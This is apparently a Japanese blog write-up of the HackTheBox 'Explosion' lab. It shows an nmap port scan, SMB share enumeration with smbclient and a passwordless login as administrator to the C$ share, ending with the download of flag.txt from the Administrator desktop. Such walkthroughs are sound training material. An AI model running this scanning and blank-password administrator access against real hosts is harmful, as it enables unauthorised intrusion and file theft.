0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

HackTheBox Writeup: Explosion

Posted at

概要

HackThebox:Explosionのflagを入手する手順を記す。

Port Scan

$ nmap -F -sV explosion.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-13 21:28 EDT
Nmap scan report for explosion.htb (10.129.242.218)
Host is up (0.25s latency).
Not shown: 96 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.77 seconds
  • SMB
  • RDP

が提供されていることが分かる。

SMB

接続しShareを探索してみる。

$ smbclient -L \\\\explosion.htb\\     
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to explosion.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

ここで列挙されたShareに対してWORKGROUP\administratorでアクセスするとパスワード無しでログインできる。
C$を探索してみる。

$ smbclient -U administrator \\\\explosion.htb\\C$  
Password for [WORKGROUP\administrator]:
Try "help" to get a list of possible commands.
smb: \> ls
  $Recycle.Bin                      DHS        0  Sat Sep 15 03:19:00 2018
  Config.Msi                        DHS        0  Wed Jul  7 13:27:28 2021
  Documents and Settings          DHSrn        0  Wed Apr 21 05:50:21 2021
  pagefile.sys                      AHS 738197504  Tue Sep 13 21:53:52 2022
  PerfLogs                            D        0  Sat Sep 15 03:19:00 2018
  Program Files                      DR        0  Wed Jul  7 13:26:52 2021
  Program Files (x86)                 D        0  Sat Sep 15 05:06:10 2018
  ProgramData                        DH        0  Wed Apr 21 05:55:59 2021
  Recovery                         DHSn        0  Wed Apr 21 05:50:27 2021
  System Volume Information         DHS        0  Wed Apr 21 06:02:07 2021
  Users                              DR        0  Wed Apr 21 05:51:22 2021
  Windows                             D        0  Wed Jul  7 13:29:19 2021

                3770367 blocks of size 4096. 1046687 blocks available
smb: \> cd Users
ls
smb: \Users\> ls
  .                                  DR        0  Wed Apr 21 05:51:22 2021
  ..                                 DR        0  Wed Apr 21 05:51:22 2021
  Administrator                       D        0  Wed Apr 21 05:51:35 2021
  All Users                       DHSrn        0  Sat Sep 15 03:28:48 2018
  Default                           DHR        0  Wed Apr 21 05:50:21 2021
  Default User                    DHSrn        0  Sat Sep 15 03:28:48 2018
  desktop.ini                       AHS      174  Sat Sep 15 03:16:48 2018
  Public                             DR        0  Wed Apr 21 05:51:35 2021
cd A
                3770367 blocks of size 4096. 1046687 blocks available
smb: \Users\> cd Administrator\
smb: \Users\Administrator\> ls
  .                                   D        0  Wed Apr 21 05:51:35 2021
  ..                                  D        0  Wed Apr 21 05:51:35 2021
  3D Objects                         DR        0  Wed Apr 21 05:51:35 2021
  AppData                            DH        0  Wed Apr 21 05:51:22 2021
  Application Data                DHSrn        0  Wed Apr 21 05:51:22 2021
  Contacts                           DR        0  Wed Apr 21 05:51:35 2021
  Cookies                         DHSrn        0  Wed Apr 21 05:51:22 2021
  Desktop                            DR        0  Wed Apr 21 00:27:12 2021
  Documents                          DR        0  Wed Apr 21 05:51:35 2021
  Downloads                          DR        0  Wed Jul  7 06:22:28 2021
  Favorites                          DR        0  Wed Apr 21 05:51:35 2021
  Links                              DR        0  Wed Apr 21 05:51:36 2021
  Local Settings                  DHSrn        0  Wed Apr 21 05:51:22 2021
  Music                              DR        0  Wed Apr 21 05:51:35 2021
  My Documents                    DHSrn        0  Wed Apr 21 05:51:22 2021
  NetHood                         DHSrn        0  Wed Apr 21 05:51:22 2021
  NTUSER.DAT                        AHn   786432  Wed Sep 22 06:50:58 2021
  ntuser.dat.LOG1                   AHS        0  Wed Apr 21 05:51:22 2021
  ntuser.dat.LOG2                   AHS   155648  Wed Apr 21 05:51:22 2021
  NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TM.blf    AHS    65536  Tue Apr 20 23:20:41 2021
  NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TMContainer00000000000000000001.regtrans-ms    AHS   524288  Wed Apr 21 05:51:22 2021
  NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TMContainer00000000000000000002.regtrans-ms    AHS   524288  Wed Apr 21 05:51:22 2021
  ntuser.ini                         HS       20  Wed Apr 21 05:51:22 2021
  Pictures                           DR        0  Wed Apr 21 05:51:35 2021
  PrintHood                       DHSrn        0  Wed Apr 21 05:51:22 2021
  Recent                          DHSrn        0  Wed Apr 21 05:51:22 2021
  Saved Games                        DR        0  Wed Apr 21 05:51:35 2021
  Searches                           DR        0  Wed Apr 21 05:51:35 2021
  SendTo                          DHSrn        0  Wed Apr 21 05:51:22 2021
  Start Menu                      DHSrn        0  Wed Apr 21 05:51:22 2021
  Templates                       DHSrn        0  Wed Apr 21 05:51:22 2021
  Videos                             DR        0  Wed Apr 21 05:51:35 2021
cd Desk
                3770367 blocks of size 4096. 1046687 blocks available
smb: \Users\Administrator\> cd Desktop
smb: \Users\Administrator\Desktop\> ls
  .                                  DR        0  Wed Apr 21 00:27:12 2021
  ..                                 DR        0  Wed Apr 21 00:27:12 2021
  desktop.ini                       AHS      282  Wed Apr 21 05:51:35 2021
  flag.txt                            A       34  Fri Apr 23 05:51:16 2021

                3770367 blocks of size 4096. 1046687 blocks available
smb: \Users\Administrator\Desktop\> get flag.txt
getting file \Users\Administrator\Desktop\flag.txt of size 34 as flag.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

無事flag.txtをダウンロードできたので完了。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?